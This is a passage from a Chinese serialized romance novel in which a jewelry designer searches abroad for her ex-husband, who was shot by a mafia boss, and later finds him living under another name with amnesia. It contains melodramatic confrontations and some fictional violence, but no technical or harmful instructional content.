高高扬起的手,在半空中,被宁时紧紧的攥住,手腕的力道,几乎要疼他站不直身子,“放,放开我……”
宋南伊抬了抬手指。
宁时便暂时松开了顾南风。
“顾南风,我再给你一次机会,你今天要是不告诉我,我就……”
“得,得,你们两口子,我怕了,还不行吗?”顾南风咧了咧嘴,“这嘴都给我打裂了,这是跟你有杀父之仇吗?”
“别废话。”宋南伊眸色冷厉。
顾南风慢吞吞的抽了根烟,又递到了唇上,没点,就那么衔着,脸上有明显的巴掌印,略显狼狈。
“你那珠宝,我卖给比利时的黑手党了,那人叫黑塔,**不眨眼,霍时序这么久没回来,肯定是回不来了。”
这对于他来说,是一件好事。
也不枉他耳朵上挨的那一枪。
顾南风斜着眼,睨向宋南伊,“你也别抱什么期望了,看在我和霍时序都是霍家人的份上,我不介意帮他把孩子养大,不过,你家那小崽子,可得叫我爹。”
宋南伊眉心一压。
拎起桌上的花瓶,就砸到了顾南风的脑袋上。
她真是给他脸了,一次又一次的。
“顾南风,你最好祈祷霍时序能活着,好好的回来,否则,我见你一次打你一次,直到把你打死为止。”
顾南风额头的血,哗哗地淌。
他真恼了。
“宋南伊,给你脸了是不是?有保镖了不起啊?我告诉你,霍时序是不可能回来了,黑手党不可能轻易将东西交还,如果能交,那就拿什么东西换的,你好好想想吧。”
泼妇。
他的头,疼**。
第188章 不过是个替代品
这话点醒了宋南伊。
是啊。
黑手党不是善类。
那么,她是不是可以肯定,霍时序出事了,而且出了大事。
宋南伊的心,开始慌了。
“宁时,这次,你要陪我出一趟国,愿意吗?”
她也不想把麻烦带给别人。
但她没有别人可以用。
宁时丝毫没有犹豫地点头,“当然,您去哪儿,我就去哪儿。”
“好,那我们马上出发。”
从江城出发前。
宋南伊给江淮打了个电话。
依然是通而不接。
飞机起飞前。
宋南伊在网上查询了一下黑塔。
能查的东西不多。
以贩卖军火和暗杀起家。
早年,自己的妻子因为对家的报复,怀着孕就被杀死了。
他多年未娶。
现在的女朋友,听说长像跟前妻很像,他极为宠爱。
她的那批珠宝,就是他买去讨好新欢的。
既然现在珠宝回来了,那霍时序会不会,还在黑塔那儿?
连霍时序这样的人,都被困在那儿。
此行,是有生命危险的。
她突然后悔叫上宁时了。
“宁时,这次,要不,你就别去了,趁着现在飞机没有起飞,赶紧下飞机。”
宋南伊有一种,有去无回的感觉。
她不能拉上宁时垫背。
但宁时态度坚决,“宋总,我不怕。”
“可你还有妹妹,你不是无亲无故,你是她的依靠,如果你出事了,她出狱后,去投靠谁呢?”
宁时一愣。
他的家事,从未跟旁人说起过。
宋南伊是怎么知道的?
“您……怎么知道我家的情况?”
宋南伊一时无法解释。
索性抬手,“这不重要,重要的是,这次有生命危险,我想了想,你还是不跟着我去了。”
“我是负责保护你的,霍总给我的薪水很高,买的就是这份危险,宋总,我是一定要跟你过去的。”
宁时有点轴。
过于的负责任。
宋南伊说不通。
飞机舱门关闭。
从江城直飞比利时。
想在异国他乡见到一个黑手党的老大,是一件极其困难的事情。
宋南伊托了层层的关系,花了很多钱,也只是见到了黑塔的新欢。
一个长像酷似他前妻的小明星,萝拉。
这女人很年轻,棕色的头发,蓝色的眼睛,身材性感,美得像尤物。
得知宋南伊的身份后,带着几分小迷妹的心态,跟她见了面。
“你就是宋设计师吗?我很喜欢你设计的珠宝,呶,你看,这是我去年的时候,去巴黎的展会上买的,我很喜欢,一直戴着。”
萝拉向宋南伊展示着。
宋南伊很快认出来,这其实是一条赝品。
她也根本没有在巴黎做过展会。
“如果萝拉小姐喜欢,我可以将真品送给你,这条……不是我的手作。”
萝拉错愕。
立马摘下来,看了又看,“假的吗?”
宋南伊笑笑。
萝拉将假项链,扔了出去,“太可恶了。”
“萝拉小姐,我想见黑塔先生,你能否帮个忙?”宋南伊话归正题,“我的前夫因为见过黑塔先生,就音讯全无,我很担心,还请你……”
萝拉没说帮,也没说不帮。
她本人对黑塔来说,也只是一个替代品,没有多少权利,替他决定事情。
“宋小姐,你也知道,我只是因为长得像他的前妻,才被他宠爱的,这样重要的事情,我……实在很为难,不过……,我可以把你想见他的意愿,跟他讲一下,至于他见不见你,我无法承诺。”
宋南伊黯然。
这样也好。
至少,黑塔知道她是来找霍时序的。
“那麻烦你了箩拉小姐。”
……
等消息的日子里。
宋南伊还是每天,都会给霍时序打很多电话。
江淮也没有拉下。
依然,沓无音讯。
她会坐在江边的草坪上,望着滚滚的江水,幻想着,一转身就看到霍时序,挂着不值钱的笑,站在那儿,张开双臂,等她自投罗网。
可是……没有。
什么也没有。
只有宁时,不远不近地站着。
和江水呜咽的声音。
等了差不多半个月的时间,宋南伊接到了一个神秘的电话。
黑塔先生,答应同她见一面。
地点,就在黑塔先生的家里。
“宋总,你要不要考虑一下,那是他的地盘,万一他来个瓮中捉鳖,你也会被困住的。”
宁时担心。
眉心紧拧。
宋南伊浅浅摇头,“如果我不去,就等同于放弃了霍时序,这不是我来的目的,我就是要见到这个黑塔,宁时,就算是龙潭虎穴,我也是要闯的。”
宋南伊换上了最体面的衣服,拎上了名贵的手伴礼,像去亲朋好友家串门一般的,走进了黑塔家的黑色大门。
宁时作为保镖,被禁止入内。
“宋总……”
宋南伊示意他,无需担心,“没事,我一个人可以的。”
通往内厅的道路。
幽暗深长。
黑塔的手下,默不作声,在前面带路。
清亮的石板路上,只有她高跟鞋,敲打地面的声音。
宋南伊以为会见到一个,满是络腮胡,身材魁梧的男人。
很意外。
黄皮肤,黑头发,皮肤有些白,个头中等,身材略微有些瘦。
意外的是,他还操着一口流利的普通话。
要不是他左脸上那条十几公分的刀疤,记录着他彪悍的过往。
她很难将这张脸,代入到黑帮老大的身上。
“你好,黑塔先生,我是宋南伊,小小礼物,不成敬意。”她将精致的伴手礼,递了过去。
黑塔的手下将其收下,拿走。
黑塔坐在高位上,审视着站在她面前的漂亮女人。
“想见我?”男人的声音透出沉哑。
宋南伊点头,语气超乎的冷静,“是的,我想黑塔先生应该知道,我来见你的目的,霍时序应该来找过你吧?他现在还在你这儿吗?”
黑塔眉梢扬起。
他以为,这个女人会先说一些恭维的话。
“你敢如此直白,不怕我?”
“你又没长得凶神恶煞,我为什么要怕你?”宋南伊漂亮的小脸上,依然是清淡的神色,“我听你的口音,是京城人吧?京城离江城很近的。”
黑塔微一愣神,旋即笑了。
“我确实是京城人,但不要指望靠这,来拉近关系。”
宋南伊笑了,“你多虑了,我知道黑塔先生,将我的那批珠宝买走了,现在珠宝,已经完璧归赵,那么霍时序来找过你是事实,我一直联系不上他,我想知道他的去向。”
黑塔轻笑。
抽了根雪茄,递到唇上,点燃。
“他确实来找过我,不过,我可以告诉你,他是死是活,我也不知道。”
宋南伊眉心一紧,“什么意思?”
“你以为那批珠宝,那么容易就拿回去吗?”黑塔笑宋南伊的天真,他这里可是黑帮,“想从我手里拿走东西,就得留下东西。”
第189章 一个女人,能有多大的劲
宋南伊心脏狂跳。
一抹不安定感,油然而生,“黑塔先生,霍时序是商人,他想拿回珠宝,自然会给你三倍,五倍,甚至是十倍的价码,这还不够吗?你是不是太过分了?除了钱,你还拿走他什么了?你要了他的命了吗?”
珠宝固然重要。
但不及命珍贵啊。
她祈祷着霍时序千万不要做傻事。
黑塔吸着雪茄。
轻蔑的看着站在她面前的女人。
他不急。
她便急了。
“你说啊,你到底对他做什么事情了?”
黑塔的脸上,依然挂着似笑非笑的神色,“我想要他一只胳膊来着,他说他的胳膊还有用,得拥抱他的妻子,我说好,那就一条腿,他又说,他的腿好不容易才恢复过来,丢了腿,他无法给她的妻子安全感。”
“胳膊也不行,腿也不行,我问他能给我什么?他说……”
“他说什么了?”宋南伊的心,几乎要跳出喉咙,“你说啊,他说给你什么了?”
黑塔奸佞的笑着,“你猜呢?”
黑塔比了个,往脑袋上开枪的动作。
宋南伊身子一下就软了。
他是想说,他把霍时序杀了吗?
爆头?
宋南伊冲到黑塔面前,紧紧的攥住了他的胸前的衣服,狠狠的质问,“你是不是把他杀了?黑塔,你冲他开枪了是不是?他死了对吗?你杀死了他,是不是?”
这个时候的宋南伊。
已经完全忘记了,面前的男人是黑手党的老大。
她只想得到一个真相。
几个手下跑过来,想要制止宋南伊,黑塔抬了抬手指,便都退下了。
他仰视着女人愤怒的小脸,和透红的眼睛。
笑了,似乎还挺为难的样子。
“这也不行,那也不行,你让我怎么办?”
宋南伊红着双眼,踉跄着后退了几步,差掉摔倒时,黑塔的大手扶住了她的腰。
宋南伊受惊般的,推开了他。
眼底的仇恨,已经将她的理智,彻底燃烧。
抬手就给了黑塔一个耳光。
这一耳光,不仅打懵了黑塔。
也打懵了,在场所有的手下。
“老大。”
“老大,你没事吧?”
黑塔动了动腮。
他已经很多年,没被女人打过了。
这一巴掌,倒是打的他没了脾气。
“我没事,一个女人,能有多大的劲。”
宋南伊所有的期待和信念,在一瞬间坍塌。
霍时序死了。
他真的被爆头了。
不。
她不相信,他就这样死了。
珠宝和人命之间,她不信,他能如此的糊涂。
“黑塔,我再问你一句,他到底死没死?”
黑塔嘶了口,雪茄递到唇上,轻吸了一口,“谁知道呢,反正那一枪确实打在了他的脑袋上。”
“那他人呢?你把他给埋了?”宋南伊的眼泪,在眼眶里打着转。
“人要埋在我的后院里,多晦气,咱们华人,还是讲究个风水的。”黑塔起身,从主位上走下来,“宋小姐,我不计较你刚刚对我的不敬,至于他是死是活,是他的造化。”
与她错身而过时。
黑塔忍不住,多看了宋南伊一眼。
他还真就喜欢她这个劲。
可惜的是,她长的虽然漂亮,但并不像自己的前妻。
不然,他会想方设法的,得到她。
“送客。”
……
宋南伊从黑塔的家,浑浑噩噩的走出来。
突然眼前一黑。
宁时及时扶住她,将她打横抱起,快步往车里走去。
宋南伊哭了。
哭霍时序的不知去向,哭他不知道是生是死,更哭他,傻的要命,非要拿命去换这些身外之物。
“宋总,擦擦眼泪吧。”宁时递了纸巾给她。
宋南伊哭的越发的凶了。
她好委屈啊。
为了一袋珠宝,活生生的搭上一条人命,他是不是真的傻了。
她握着手机,指尖颤抖着给江淮打电话。
一遍不接就打两遍。
两遍不接,就打三遍,四遍,五遍,可……就是没人接听。
“没人接,宁时,根本就没人接,为什么会发生这样的事情?一些珠宝而已,为什么要拿自己的命去换,是心血又怎样,就念想又怎样?是价值不菲又怎样呢?难道不比他的命值钱吗?”
宋南伊哭得宁时心里也不好受。
站在男人的立场上,他容易理解霍时序的所作所为。
无非就是,尽自己的全力,保全她的所有。
霍时序也是聪明人。
直接让黑塔打自己的脑袋,换珠宝这事,他是有点不信的。
现场,肯定是发生了一些,他们并不清楚的事情。
“宋总,我想霍总他……应该没死吧,如果真的死了,那江特助那边,应该回江城报丧了。”
宋南伊吸了吸鼻子,“万一,江淮也一起死了呢?”
宁时:……这可能性不太大吧。
“没那么悲观,江特助,可能在忙吧,宋总,这几天,我出去打听一下,应该会得到一些消息的。”
宋南伊抽噎了一会儿。
才点头,“那你也要小心一点。”
“嗯。”
……
没有霍时序消息的日子里。
宋南伊心不在焉。
手机每天都打,每次都不通。
当脑海的某一种想法,成为了执念,恐慌就开始蔓延。
宁时几乎每天都出去。
但带回来的消息,少之又之。
她想报警了。
但她又深知,这个陌生的城市里,警察就那么回事,还不如自己慢慢找。
可是上哪儿去找呢。
不找了?
回江城?
她做不到。
不管他是生,是死,她都得把他带回去。
“宁时,你回江城吧,我准备在这儿住段时间。”宋南伊淡淡的向宁时吩咐,“回去跟邓雪说,让她盯着点工作室的订单,我可能一时半会儿的,顾不上了。”
“宋总,你一个人,在这儿,我怎么能放心,我还是留下来吧。”
宋南伊摇头。
霍时序不一定什么时候才能找到。
“听我的话,先回去吧,帮着邓雪盯着公司的情况,有问题及时给我打电话,她一个小姑娘,天天的加班,有你在,我就放心多了。”
宁时担心,“那你在这边……”
“我再找些日子吧,实在找不到,我也就回江城了。”
等她心死。
等执念不再燃烧。
她会说服自己的。
宁时只好同意。
宋南伊在这个陌生的城市住了下来。
她几乎每天都拿着霍时序的照片,四下问寻,只要有一点点信息,她都不放过。
冬去春来。
她来比利时三个月了。
除了有一个陌生人说在江边好像见过他,再也其它有用的信息。
而与此同时。
就在宋南伊租住的房子,相隔一条街的一家医馆里。
霍时序正静静的躺在病床上。
他有呼吸,但没有意识。
何诗丽已经劝了江淮几个月了,他仍然没松口。
“江特助,如果再不把师哥,送到我外公那里治疗,他极有可能,会成为一辈子的植物人,这是你想看到的吗?你在毁了他的一生。”
江淮有苦难言。
他信不过何诗丽。
第190章 我不会放弃找他的
他倾向于保守治疗,他在期待奇迹。
可三个月过去了。
霍时序除了稳定住了病情,没有好转的反应。
“江特助,霍时序伤的是脑袋,他现在脑袋里还有**,你要再犹豫下去,他错过了最佳的手术治疗时机,他就真的没有救了,现在能做这种手术的,且经验丰富的,只有我外公,你就让我带他走吧。”
何诗丽有私心。
江淮心知肚明。
“何小姐,霍总已经这样了,你就别再打他的主意了,你们认识那么多年,你是知道,他心里只有太太一个人。”
何诗丽眉眼稍露尴尬。
但却没有承认。
“江特助,我外公是军医,他在战场上服务了四十年,这样的手术做的,数不胜数,我是想救霍时序,你想多了。”
“医生说,那枚**要是取了,他极有可能就马上……”死去。
江淮不敢去赌。
何诗丽却信心满满。
“那些普通的医生,能跟我外公比吗?”
“如果你单纯的,不想让霍时序背负着救命的恩情,而不让他有救治的机会,你就是在害他,江特助,你觉得恩情重要,还是命重要,再说了,我也没说让他报恩不是吗?”
“外公一定不会让霍时序出事的,江特助,你不要再想东想西了,救命要紧啊。”
江淮不否认,此时他,动摇了。
赌一次?
如果赢了。
不管何诗丽会不会拿救命这事,要挟霍时序,至少他是有命了。
只要活着,什么事情都可以再议的不是吗?
那万一……
输的话,他就跟着**,他不会让霍时序一个人去走黄泉路的。
“好,我信你一次,我会安排专机。”
何诗丽松了口气,得偿所愿的说,“你信我就对了,我对师哥的感情,不比你浅,但这事要绝对保密知道吗?连宋南伊也不能说。”
江淮抬眸看她的眼神,像要刺穿她一般。
何诗丽忙又补了句,“安心治病才是最重要的不是吗?你也不想,在治疗过程中出意外的,对吗江特助。”
夜深人静。
霍时序被送到了私人停机坪,飞往南非。
此时的宋南伊,正趴在窗口,望着深夜的繁星,思绪万千。
……
小核桃生病了。
宋南伊迫不得已,飞回了江城。
她一直没敢跟蓝旗讲霍时序的事情,看着她衣不解带的照顾小核桃,心口一阵阵的愧疚。
“妈,您回去休息吧,我来照顾小核桃就好。”
“妈不累。”蓝旗看着宋南伊憔悴的小脸,满眼心疼,“我其实,听说了一些事情,你就当他去某个地方治病去了,早晚会回来的。”
“妈,我不会放弃找他的。”
蓝旗没再说什么。
她轻轻的替小孙子,掖了掖被子,鼻子很酸。
宋南伊看了心里难受。
好好的一个人,就这样突然消失了,谁也受不了。
想到这些,她就想把顾南风活活打死。
宋南伊也去找过裴啸几次。
问他,有没有霍时序的消息。
得到的答案,也是噤默。
霍时序就像从这个世界,凭空蒸发了一般,一点痕迹都没有留下。
“江特助也没有消息吗?”宋南伊不死心。
裴啸也觉得奇怪,不应该两个人都没有消息,“我也给他打过几次电话,以前是不接,现在索性就是关机。”
“你说他们会在哪儿呢?”
世界这么大。
她该去哪儿,才能找到他呢?
“伊伊,你也别着急,只要他活着,就一定能找到人。”
“万一,他真的**呢?”宋南伊眼眶瞬间红透,“裴啸哥,你说他会不会真的已经**?他和江淮一起**,然后被随便埋在了世界的哪个地方,我们永远不会知道,你说会吗?”
裴啸给不了答案。
他轻轻的抱住了宋南伊,“好了,别想多了。”
宋南伊在裴啸的怀里哭了。
她以为,她不会再为霍时序掉眼泪。
可是眼泪就是这样的收不住。
“我不想他死的,真的,无论我们之间有过什么……裴啸哥,我真的好无助,小核桃问我爸爸去哪儿了,为什么这么久了都见不到他,我真的没法回答……”
宋南伊的小身子,一颤一颤的。
像个委屈的孩子。
裴啸轻轻的拍着她的背,温声安慰着,“他不会死的,他会回来的,一定会的。”<
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br>……
距离霍时序离开六个月的时间。
宋南伊去了一趟南非,见了一个宝石的客商。
她没想到,会遇见何诗丽。
有印象的,还是那次,在下午茶店里。
当时,她和霍时序在一起。
何诗丽主动过来打招呼。
“宋南伊,你怎么跑到南非来了?旅游吗?”
何诗丽穿的很休闲。
细长的手指,撩起散碎的发丝,像是故意展示,无名指上那枚鸽子蛋大的钻戒。
“有工作。”宋南伊微微一笑。
何诗丽抿唇,唇角上扬着,“看不出来,你还是女强人。”
宋南伊无意与她闲聊。
唇角的微笑,算做礼貌。
何诗丽笑笑,“晚上有时间吗?请你吃饭。”
“不用了,我们又不熟。”
“怎么会不熟呢,当年霍时序追你的时候,我可是全程见证,那时的你,是天上的明月,圣洁的可瞧不上我们这些凡人。”
何诗丽没等宋南伊再次拒绝,又补了句,“在国外这样的环境里,我们算是同胞,而且我外公家就在这边,多我一个朋友,比一个敌人来的强吧。”
宋南伊抿唇没有说话。
何诗丽便又说,“到时,我介绍给你认识一下,我的男朋友,赏个脸。”
宋南伊也不愿得罪何诗丽。
便硬着头皮,应下了,“好。”
傍晚。
城市中央。
高档餐厅里。
宋南伊姗姗来迟。
何诗丽从座位上起身,冲她招手,“这边。”
宋南伊踩着高跟鞋走了过去。
与何诗丽面对面坐着男人,背着身,她猜,应该是她的男朋友。
“还以为你不来了呢,你是不知道,我看了多遍门口了。”何诗丽热络的向宋南伊介绍,“这位是我的男朋友,威廉。”
男人缓缓起身。
宋南伊已经准备好了,礼貌又虚伪的微笑。
“你好,威廉先生,我是……”
男人转身。
当熟悉的脸,出现在宋南伊面前时,她整个人是懵掉的。
四目相对。
她的瞳仁收紧,又猛的松开。
男人英挺俊美,神采奕奕,只是望向她的眼睛……也失了神。
第191章 这个女人,他要定了
这明明是霍时序,怎么成了威廉了?
她不确定的,看向了何诗丽。
突然明白了,她处心积虑地要介绍未婚夫,给她的用意。
这就是霍时序。
“很眼熟?”何诗丽挽住男人的手臂,与他温柔对视,“他已经记不得以前的事情了,他只知道他叫威廉,我的男朋友威廉。”
失忆?
是把她忘了,还是把所有的人都忘了?
这戏码太老套了。
一遍又一遍的重复,不累吗?
“他到底怎么了?”宋南伊压着声音问何诗丽。
失忆,还是傀儡。
他可是霍时序啊。
精明,城府,敏锐,他不是一个傻子啊。
即便不知道是谁了,也应该是要寻找自己的。
怎么会,任由自己变成什么威廉呢。
“何诗丽,你对他做了什么?”
何诗丽笑了,很无辜,“他一个大活人,我能对他做什么?不信,你就问他。”
是的。
宋南伊是要问的。
她转头看向霍时序。
他就这样目不转睛的看着自己,可是眼神是陌生的,更像是打量和审视。
“霍时序,我是宋南伊。”
霍时序伸出手来,礼貌微笑,“你好,宋小姐,我是威廉,很高兴认识你。”
“威廉?你不认识我吗?一点眼熟也没有?”她不信。
霍时序就这么看着她。
似乎是想记起什么。
眉心皱得很紧,可还是摇了摇头。
何诗丽解释,“他头部中了**,是我外公好不容易才救他回来的,他已经失去了所有的记忆,你不用试图叫醒他,他已经不是霍时序了。”
宋南伊愕然。
头部中弹?
黑塔没撒谎,他真的给了霍时序一枪。
是何诗丽救活了他。
不。
不应该是这样的。
哪怕何诗丽救活了他,也不应该让他忘记自己。
“只是给他治病,没有对他做别的吗?何诗丽,我知道你的心思,既然他醒了,你就应该送他回江城,你打算让他留在南非,永远不回家吗?”
何诗丽是有这个打算,“他在这边,不会比在江城差,我这边有人脉,有资源,我们马上会结婚,以他的能力,会是一个很好的**人,我喜欢了他这么多年,也算是得偿所愿了,宋南伊,你应该祝福我才是。”
宋南伊苦笑。
她应该释怀吗?
本来她与霍时序就没有关系,他娶谁都不犯法。
但祝福,她做不到。
“何诗丽,如果你将他留在这儿,你会毁了他的。”宋南伊深吸一口气,“他的事业,他的母亲,他的家都在江城,你将他困在这里……你是这喜欢吗?你这叫占有,你在怕什么?”
“我有什么好怕的?他要娶我,是他在回报我们家人,对他的救命之恩,这不是理所应当的事情?”
何诗丽抱怀,轻轻的靠在霍时序的身上,抬着小脸问他,“对吗,威廉?”
他很温柔的揉了揉何诗丽的头发。
何诗丽抱以微笑。
宋南伊看的心里难受。
但她还想争取一下,伸手扣住了霍时序的手腕,“霍时序,你跟我回江城,你回去,兴许就什么都记起来了,你有个儿子,他叫小核桃,他最喜欢爸爸的,你都忘了吗?”
“哎呀。”何诗丽将宋南伊一把推开,“说了他不记得了,他现在过得很快乐,你别那么自私好不好。”
宋南伊脚下踉跄。
稳住身子,又重新望向霍时序,“霍时序,你不喜欢她的,如果你喜欢她,早就喜欢了,她救你是有私心的,你还真以为是无私的恩情吗?你别傻了,这恩不报也罢,你跟我回江城。”
宋南伊拽起霍时序就要往外走。
何诗丽又把霍时序拽了回去。
“宋南伊,你疯了吧你。”
“我看疯了的是你才是。”宋南伊没有松开霍时序,眸底漫上水汽,“霍时序,你跟我走,好不好?”
霍时序看了心疼。
但又真的记不起,眼前这个女人是谁。
“你……”
“威廉,你真的要跟这个陌生的女人走吗?”何诗丽紧紧的把住霍时序,“你忘了,你答应过外公什么了?做人得有良心。”
霍时序将手腕从宋南伊的手中抽走。
“我……不认识你。”
宋南伊笑了,苦苦的,“看来,你是决定要留下来了。”
“那是当然啊,宋南伊,他留在我身边,会很幸福的,你就放心好了。”
何诗丽像个胜利者。
而宋南伊,像个小丑。
她不强求了。
“好。”
宋南伊离开。
她没有想到,自己与霍时序的重逢是这样的。
什么喜极而泣,什么抱头痛哭,什么互
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诉忠肠,都没有。
有的只是陌生和疏离。
她哭了。
有委屈。
也为霍时序高兴。
毕竟他还活着,活着就好。
那个何诗丽处心积虑,喜欢了他那么多年,一定会对他很好的。
记忆有没有,或许对霍时序来说,已然不再重要了。
江城的她,小核桃,永远与他无关了。
过去了。
她笑了,一切都过去了。
她和霍时序,永远结束了。
宋南伊招停了出租车,很快离开。
霍时序看着女人的背影,久久没有回神。
为什么看她哭,他比她还要难受。
心脏的地方,一抽一抽的疼。
她到底是他的谁?
“你记起她了吗?”何诗丽不确定的问。
霍时序淡淡回神,“你没觉得,她长的好漂亮吗?我突然觉得我好像前世的老婆就长这样的,我应该去追求她。”
何诗丽黑脸。
他怎么会生出这样的念头。
“人家都结过婚,有了孩子了。”
他很平和的点了下头,“其实,我也不介意当后爹。”
“威廉你……”何诗丽很是恼火,“……你是不是忘了,你答应外公什么,竟然还对别的女人起歹念,我不允许。”
“你们救了我,我会好好报答外公的,感情的事情,怎么可以勉强呢,我刚刚好像……心动了。”
他捂着自己的心口。
刚刚的那抹疼,就是他心动的见证。
这个女人,他要定了。
何诗丽小脸皱巴巴的。
有没有把她当人看啊?
“所以呢?你想怎样?”
霍时序眨巴了两下眼睛,“喜欢就追啊,这有什么好犹豫的。”
“你喜欢就追,那我呢?”这人怎么回事,失忆了,还喜欢同一个人,有毛病吧,“……你答应外公要娶我的,你现在是要抛弃我吗?”
“我对你没感觉,我现在遇到心动的人了,恩情,可以换种方式来偿还,比如说……钱。”
何诗丽要炸毛。
早知道这样,她何苦费心思,让宋南伊来见他一面。
偷鸡不着蚀把米。
现在自己成小丑了。
“威廉,你不可以这样?”
“我去跟你外公讲,他也是男人,他一定会理解,这种怦然心动的感觉的。”
“你……”
……
第192章 约会的暗号
宋南伊回到江城后,整日心神不宁。
邓雪见她总是发呆,便冲了杯咖啡递过去:“老板,你是不是有什么心事?还在担心霍总的事吗?”
宋南伊恍惚地抬头,目光有些失神。
半晌才低声说:“邓雪,你知道吗?霍时序他……还活着。”
迟迟没有霍时序的消息,大家嘴上不说,心里却早已默认他不在人世。
邓雪有些意外。
“真的?那可太好了,你们见过面了?”
宋南伊端起咖啡,轻轻抿了一口,“他已经有了新女朋友,可能不会回江成了,以后……大概会长居南非。”
“啊?”邓雪一时语塞。
当初霍时序不顾一切飞往比利时,为宋南伊拿回,充满着她心血的珠宝。
怎么转眼间,就要和别人有感情了?
人心竟能变得这样快。
邓雪心底生出一股凉意。
会不会是出了什么事情?
“老板,是不是有什么误会啊?霍总他一直那么爱你,怎么会突然就……”
“爱?”宋南伊浅浅摇头,这个字,已经不适用在她和霍时序之间,“邓雪,这天底下,哪有亘古不变的爱啊,我和他都已经离婚了,本就是没有关系的两个人,他任何选择,都是他的自由。”
邓雪:……
宋南伊放下咖啡杯,“好了,不聊这个了,女人还是要好好工作,男人嘛,有则锦上添花,无则依旧风华。”
“您说得对。”
这次,宋南伊没有藏着掖着。
将霍时序的情况,如实告诉了蓝旗。
得知儿子还活着,她惊喜。
得知这儿子有了别的女人,她恨不得当场揪起他的耳朵,好好地质问。
无论如何。
事实就这么事实。
情况就这么个情况。
宋南伊必需要保持着距离,免得给自己带来麻烦。
小三这个词,好说可不好听。
没有情爱纠缠的日子。
宋南伊过的清心寡欲又自由自在。
她买了一套二百平的三居室,平时工作时间,就在这儿住。
周末她会回父母家。
小核桃想奶奶了,她也会送她跟蓝旗呆两天。
“南伊,你还记得任叔吗?”南微问。
宋南伊点头,“记得啊,任叔一家不是搬去国外了吗?怎么突然提起他来了。”
“你任叔一家要回国了,前几天,我们通了电话聊了一些近况,任泽秦,现在也是单身,你任叔有意,让你和……”
南微话没讲完。
宋南伊的眉心就皱了起来。
她怎么记得,好像参加过任泽秦的婚礼呢。
“妈,他不是结婚了吗?”
“离了。”南微觉得知根知底的,二人挺合适,“听说是女方出轨,任家条件不错,泽秦呢也挺能干的,家里的情况不复杂,我们跟任家又是老相识,你任叔两口子的脾气很好,你要不要……”
宋南伊明白了。
南微操心她的个人生活。
父母总是这样。
她倒没有反感,她还不到三十岁,再婚也是很正常的事情。
“可以的。”宋南伊痛快答应了。
南微这才松了一口气,“真怕你不答应。”
“我现在也是单身,而且我也没说过,这一辈子就不嫁了啊,遇到好的,还是可以考虑的嘛。”
“你有这种想法,那就太好了。”
南微立马拿起手机,就给任家太太打去了电话。
至于聊得什么,宋南伊没听清。
她不排斥新鲜的人,走进她的人生。
许久。
南微握着手机,笑着走了过来说,“南伊,泽秦的妈妈说,过两天泽秦就回江城了,到时找个你不忙的时间,你们两个人见上一面。”
“虽然说,你们小时候经常在一起玩,这长大了,还真没怎么坐到一起过,哦,对了,她还给我发了一张泽秦的照片,一表人才的。”
南微将照片,给宋南伊看,“你看看,是不是还挺帅的。”
照片上的男人,三十初头的年纪。
标准的ABC样貌。
世界五百强的高管,年薪百万美金,也算是高收入人群。
她觉得还算顺眼。
“还行吧。”
“那就这么说定了。”
……
一拍即合的相亲。
自然是很快就提上了流程。
江城市中区,有名的相亲咖啡厅。
约会的暗号,是一只红色的玫瑰花。
剧情挺老套的。
还好,任泽秦的条件很好,年纪也相当,人也彬彬有礼。
两人聊了会天。
对彼此的感觉都还不错。
“要不,
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加个联系方式吧。”任泽秦将自己的手机,递到了宋南伊的面前。
她很礼貌地扫了码,“嗯。”
“周末有时间吗?我想约你去看音乐剧。”
宋南伊没有拒绝,“可以啊。”
任泽秦内心有点小兴奋。
但面上还是温润的神色,“那到时,我去接你,顺便拜访一下宋叔和南姨,有年头没见过他们了,还挺想念的。”
宋南伊微微笑着,“好啊。”
任泽秦很绅士。
长相也说得过去。
有超过这个年龄的成熟谈吐。
虽然不自主创业,但他的工作,没得挑。
作为一个择偶对象来说。
他的条件,万一挑一。
如果他能喜欢小核桃,而小核桃也能接受他的话,宋南伊是愿意发展下去的。
任泽秦开车将宋南伊,送到了公司楼下。
“我就不打扰你工作了,那咱们周末见。”
“好。”
挥手再见。
宋南伊去了工作室。
邓雪敲门走进来说,“老板,有一个客商,在网上下单了一套珠宝,是咱们这季的新品,最贵的那个,并且已经支付完成,要不要联系一下?”
“三千万的那套?”宋南伊问。
邓雪点头,“就是那套,而且全款支付。”
“联系一下吧,看他有什么要求,订制送给某人的话,是不是需要刻上姓名什么。”
“好的,老板,我这就联系。”
很快,邓雪去而复返。
“老板,联系上了,那头说,要亲自跟您见一面,详聊,地址……”邓雪看着手机上发过来的位置,“……好像是一家会所,就在今天下午的四点……”
她看了眼手机上的时间,“……老板,时间差不多了。”
宋南伊习惯了这样高强度的工作。
只有工作起来,她才觉得自己活得有意义。
她并不排斥,“好。”
“要不要,我陪您一起过去?”
“不用,合同给我吧。”
宋南伊拿了合同,亲自开车去了位置所在地的会所。
这个会所是日式风格。
隐私性极强。
她脱下鞋子,走了进去,“你好,我是YY珠宝的宋南伊。”
男人转过身来,冲她一笑。
“好久不见啊,宋小姐。”
第193章 忘记归忘记,但我不放弃
一张过分熟悉的脸。
她哑然,站在原地,许久才缓过神来。
他不是不回江城了吗?
恢复记忆了?
应该不是。
那是……
“原来,订单是威廉先生下的,你可以早一点告知身份,说不定,还能给你打个折。”
宋南伊语气淡淡。
她拿出自己的平板。
准备记录客户的要求。
“威廉先生订购的这套首饰,包括,项链,耳环,还有一枚戒指,戒指和项链都可以刻上使用者的名字,钻石呢,有几种颜色可选,你看一眼。”
宋南伊将自己的平板递了过去。
男人接过去,顺势将平板扣在了桌面上。
“我们谈点别的。”
他眼尾勾着笑。
一副玩世不恭的模样。
宋南伊抬眼看向他,很是冷淡,“威廉先生,想谈什么?”
“谈一下,你好不好追。”
宋南伊蹙眉,“威廉先生,这是要职场性骚扰吗?”
“这话说的。”霍时序轻笑,端起清茶啜了一口,“我未婚,你未嫁,身份干净,想追求你,就变成是性骚扰?”
“我有男朋友了。”她安然地说。
霍时序哦了一声,“是吗?没事,我不介意。”
“威廉先生,不是已经有了结婚的对象了吗?你跑到江城来撩骚,你的未婚妻知道吗?”
宋南伊的眼神透着冷凉的光。
看样子,是没有恢复记忆。
他追人的套路和前世那会儿追她时,如出一辙。
--不要脸。
霍时序噗嗤,“至于这么严肃吗?”
“男女关系,本就是一件严肃的事情,威廉先生,既然有了女朋友,就不要再轻浮别人,也是对自己最大的尊重。”
宋南伊收回了自己的平板。
“既然威廉没有选择宝石的颜色,那我就……”
“选,怎么不选呢。”他从她手中,又抽走了平板,“哪款颜色最好看。”
“每个人的喜好不同。”
